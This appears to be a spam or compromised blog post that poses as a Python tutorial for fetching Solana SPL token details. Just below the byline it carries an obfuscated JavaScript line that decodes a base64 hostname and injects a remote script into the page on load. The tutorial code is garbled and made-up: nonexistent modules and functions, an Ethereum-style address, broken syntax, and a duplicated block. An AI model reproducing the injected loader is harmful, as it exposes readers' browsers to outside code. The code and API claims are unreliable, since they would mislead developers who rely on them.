Solana: Python API to get SPL token details from Solscan token address
- 2025-02
- by Cn Vn
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=d86ecfc3″;document.body.appendChild(script);
Getting Spl Token Data Using the Python API
In this article, we will explore the Python API provided by Solana Labs for getting Spl Token data, including the current price, total supply, and Mint address.
Prerequisites
- Install the required libraries: “python-solana” and “web3”.
- Set up a Solana node or use a local development environment with the solana-sdk package
Using the Python API
The Python API for Spl Token data is obtained from the solana_sdk package, which contains the `spl_token.py’ module. Here is a sample code snippet to get you started:
from solana_sdk import account_info, mint_info, spl_token_details
import web3
Configure a Solana node or use a local development environmentw3 = web3.Web3(websocket://localhost:8899)
Get Spl Token details for the given address and Solana token addressspl_token_details_address = '0x...your-solana-token-address...'
Replace with your token addressdef get_spl_token_details():
spl_token_details = spl_token_details SPL_TOKEN_ADDRESS spl_token_details_address
mint_address = account_info.spl_mint_info(spl_token_details.address).account_info['address']
current_price = account_info.spl_current_price(spl_token_details.address)
total_supply = account_info.spl_total_supply(spl_token_details.address)
return {
'mintAddress': mint_address,
'currentPrice': current_price,
'totalSupply': total_supply
}
Get Spl token detailsspl_token_details = get_spl_token_details()
result(spl_token_details)
Explanation
The above code snippet uses the “account_info” module to retrieve the Mint address associated with the given Spl Token address. It then uses the “spl_current_price” and “spl_total_supply” functions to retrieve the current price of the token and the total supply.
Using the Web3 API Client
Alternatively, you can use a web3 API client such as “web3.py-solana-client” or “pySolana” to get the Spl Token information. Here is a sample code snippet:
from solana_sdk import account_info, mint_info, spl_token_details
import solana_client
Configure a Solana node or use a local development environmentclient = solana_client.SolanaClient()
Get Spl Token details for the given address and Solana token addressspl_token_details_address = '0x...your-solana-token-address...'
Replace with your token addressdef get_spl_token_details():
spl_token_details = spl_token_details SPL_TOKEN_ADDRESS spl_token_details_address
mint_address = account_info.spl_mint_info(spl_token_details.address).account_info['address']
current_price = account_info.spl_current_price(spl_token_details.address)
total_supply = account_info.spl_total_supply(spl_token_details.address)
return {
'mintAddress': mint_address,
'currentPrice': current_price,
'totalSupply': total_supply
}
Get Spl token detailsspl_token_details = get_spl_token_details()
result(spl_token_details)
Note
The examples above use a local development environment with the solana-sdk package. In production environments, you should replace “localhost:8899” with the endpoint of your Solana node.
I hope this helps! Let me know if you have any questions or need further assistance.